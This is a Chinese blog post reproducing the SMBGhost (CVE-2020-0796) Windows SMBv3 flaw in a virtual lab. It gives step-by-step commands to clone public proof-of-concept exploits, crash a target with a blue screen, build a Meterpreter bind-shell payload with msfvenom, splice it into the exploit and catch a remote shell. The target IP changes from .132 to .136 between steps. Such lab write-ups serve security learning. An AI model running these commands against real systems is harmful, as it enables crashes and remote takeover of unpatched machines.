永恒之黑(CVE-2020-0796)漏洞复现

北京时间3月12日,针对最新披露的SMB远程代码执行漏洞(CVE-2020-0796),微软官方发布了针对Windows 10/Server禁用SMBv3(SMB 3.1.1版本)协议压缩的安全指南公告,旨在缓解该漏洞所造成的威胁。随即,腾讯安全网络资产风险监测系统给出了预测数据——目前全球范围可能存在漏洞的SMB服务总量约10万台,首当其冲成为黑客攻击的目标

受影响的版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)

原理为由于SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。

这里我们附上windows漏洞的镜像:windows 10 -1903

1. 环境准备

虚拟机vmwarework15

目标主机:192.168.199.132  (记得关闭防火墙)

攻击主机:kali

2. 下载 CVE-2020-0796扫描检测工具,对网段进行批量扫描。查看是否有漏洞危险

(下载链接:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip)

 

 显示上面的内容就证明有这个漏洞

3. kali中下载蓝屏poc

git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git	//拉取poc
cd CVE-2020-0796-PoC		           //进入poc文件
python3 setup.py install		   //安装poc
python3 CVE-2020-0796.py 192.168.199.136 //攻击目标主机

  

 

 

 

 然后我们攻击目标主机,

出现蓝屏说明攻击成功

 

 于是等待重启

4. 下载远程利用的poc:

git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git

5. msf下生成payload:

msfvenom  -p windows/x64/meterpreter/bind_tcp  lport=1234 -f py -o evil.py

 

 6. 替换payload:

exploit.py在远程利用的poc文件件下,evil.py在那个文件目录下执行的,就在哪个地方有

将evil.py生成的code,替换到exploit.py,先将evil.py中的buf替换成USER_PAYLOAD。
然后替换到exploit.py中(这里我们将这个文件拖到物理机中进行替换)

evil.py内容

 

 替换buf之后,再替换掉exploit.py文件下的USER_PAYLOAD的内容,就搞定了

6. 运行exploit.py

python3 exploit.py -ip 192.168.199.136	//运行exploit.py

 

 7.msf下监听本地端口

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 1234
set rhost 192.168.199.136
exploit

 

 

8. 完成漏洞复现

 

 获得shell窗口

posted @ 2020-10-23 13:42  junlebao  阅读(495)  评论(0编辑  收藏  举报